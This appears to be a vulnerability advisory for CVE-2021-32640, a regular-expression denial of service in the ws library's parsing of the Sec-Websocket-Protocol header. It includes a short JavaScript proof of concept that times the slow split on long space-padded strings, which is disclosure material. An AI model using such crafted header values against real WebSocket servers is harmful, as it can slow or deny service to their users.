CVE-2021-32640 [MEDIUM] CWE-345 ReDoS in Sec-Websocket-Protocol header
ReDoS in Sec-Websocket-Protocol header
### Impact
A specially crafted value of the `Sec-Websocket-Protocol` header can be used to significantly slow down a ws server.
### Proof of concept
```js
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
```
